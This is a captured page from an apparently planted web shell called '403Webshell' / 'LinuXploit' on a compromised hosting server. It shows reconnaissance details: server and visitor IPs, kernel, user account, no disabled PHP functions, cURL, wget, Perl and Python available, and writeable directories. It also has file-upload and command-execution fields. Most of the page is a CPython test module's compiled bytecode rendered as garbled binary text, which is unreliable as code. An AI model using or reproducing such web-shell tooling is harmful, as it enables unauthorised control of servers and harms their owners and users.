403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.238
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_script_helper.cpython-36.pyc
3

�w2_�@stdZddlZddlZddlZddlmZddlZddlmZGdd�dej�Z	Gdd�dej�Z
ed	krpej�dS)
zEUnittests for test.support.script_helper.  Who tests the test helper?�N)�
script_helper)�mockc@sPeZdZdd�Zdd�Zdd�Zdd�Zejd	�d
d��Z	ejd	�dd
��Z
dS)�TestScriptHelpercCs"tjdd�}|jd|dd�dS)Nz-czimport sys; sys.exit(0)rzreturn code was not 0)r�assert_python_ok�assertEqual)�self�t�r	�</opt/alt/python36/lib64/python3.6/test/test_script_helper.py�test_assert_python_ok
sz&TestScriptHelper.test_assert_python_okcCs$tjdd�\}}}|jd|d�dS)Nz-czsys.exit(0)rzreturn code should not be 0)r�assert_python_failureZassertNotEqual)rZrc�out�errr	r	r
�test_assert_python_failuresz+TestScriptHelper.test_assert_python_failurecCsL|jt��}tjdd�WdQRXt|j�}|jd|�|jd|dd�dS)Nz-czsys.exit(0)z
command line:zunexpected command line)�msg)�assertRaises�AssertionErrorrr�str�	exception�assertIn)r�
error_context�	error_msgr	r	r
�test_assert_python_ok_raisess

z-TestScriptHelper.test_assert_python_ok_raisescCsL|jt��}tjdd�WdQRXt|j�}|jd|�|jd|dd�dS)Nz-czimport sys; sys.exit(0)zProcess return code is 0
zunexpected command line.)r)rrrrrrr)rrrr	r	r
�!test_assert_python_failure_raisess
z2TestScriptHelper.test_assert_python_failure_raiseszsubprocess.PopencCs�tjjtddd���}td�|_ytjddd�Wn4tk
rd}z|jd|jd�WYdd}~XnX|jd	|j	�|jd	|j	�|j
dd}|jtj|d�|j
d|�|j
d
|�|jd|�WdQRXdS)N� interpreter_requires_environmentF)�return_valuezbail out of unittestTz-c�Noner�z-Iz-E)r�patch�objectr�RuntimeError�side_effect�_assert_pythonr�args�
call_count�	call_args�sys�
executabler�assertNotIn)r�
mock_popen�
mock_ire_funcr�
popen_commandr	r	r
�1test_assert_python_isolated_when_env_not_required&s

$zBTestScriptHelper.test_assert_python_isolated_when_env_not_requiredcCs�tjjtddd��~}td�|_ytjddd�Wn4tk
rd}z|jd|jd�WYdd}~XnX|j	dd}|j
d	|�|j
d
|�WdQRXdS)z>Ensure that -I is not passed when the environment is required.rT)rzbail out of unittestz-crrNz-Iz-E)rrrrr r!r"rr#r%r()rr)r*rr+r	r	r
�4test_assert_python_not_isolated_when_env_is_required8s

$zETestScriptHelper.test_assert_python_not_isolated_when_env_is_requiredN)�__name__�
__module__�__qualname__rrrrrrr,r-r	r	r	r
rsrc@sheZdZdZdd�Zdd�Zejd�dd��Zejd�d	d
��Z	ejd�dd��Z
ejd�d
d��ZdS)�TestScriptHelperEnvironmentz5Code coverage for interpreter_requires_environment().cCs|jttd��dtjd<dS)N�$__cached_interp_requires_environment)�
assertTrue�hasattrr�__dict__)rr	r	r
�setUpKsz!TestScriptHelperEnvironment.setUpcCsdtjd<dS)Nr2)rr5)rr	r	r
�tearDownQsz$TestScriptHelperEnvironment.tearDownzsubprocess.check_callc
Csdtjjtj��Ltjjdd�tjdd�|_|j	t
j��|j	t
j��|jd|j
�WdQRXdS)N�
PYTHONHOME�r)rr�dict�os�environ�pop�
subprocessZCalledProcessErrorr!r3rrrr$)r�mock_check_callr	r	r
�*test_interpreter_requires_environment_trueUszFTestScriptHelperEnvironment.test_interpreter_requires_environment_truec
CsPtjjtj��8tjjdd�tj�|jtj��|j	d|j
�WdQRXdS)Nr8r)rrr:r;r<r=rr�assertFalserr$)rr?r	r	r
�+test_interpreter_requires_environment_false^s
zGTestScriptHelperEnvironment.test_interpreter_requires_environment_falsecCs�tjjtj��rtjjdd�tj�|jtj��|jtj��|j	d|j
�|jdd}|j	tj
|d�|jd|�WdQRXdS)Nr8rrz-E)rrr:r;r<r=rrrArr$r%r&r'r)rr?Zcheck_call_commandr	r	r
�-test_interpreter_requires_environment_detailsgszITestScriptHelperEnvironment.test_interpreter_requires_environment_detailsc
CsRtjjtj��:dtjd<|jtj��|jtj��|jd|j	�WdQRXdS)NZ
MockedHomer8r)
rrr:r;r<r3rrrr$)rr?r	r	r
�5test_interpreter_requires_environment_with_pythonhomess

zQTestScriptHelperEnvironment.test_interpreter_requires_environment_with_pythonhomeN)r.r/r0�__doc__r6r7rrr@rBrCrDr	r	r	r
r1Hs		r1�__main__)
rEr>r&r;Ztest.supportrZunittestrZTestCaserr1r.�mainr	r	r	r
�<module>s=4

Youez - 2016 - github.com/yon3zu
LinuXploit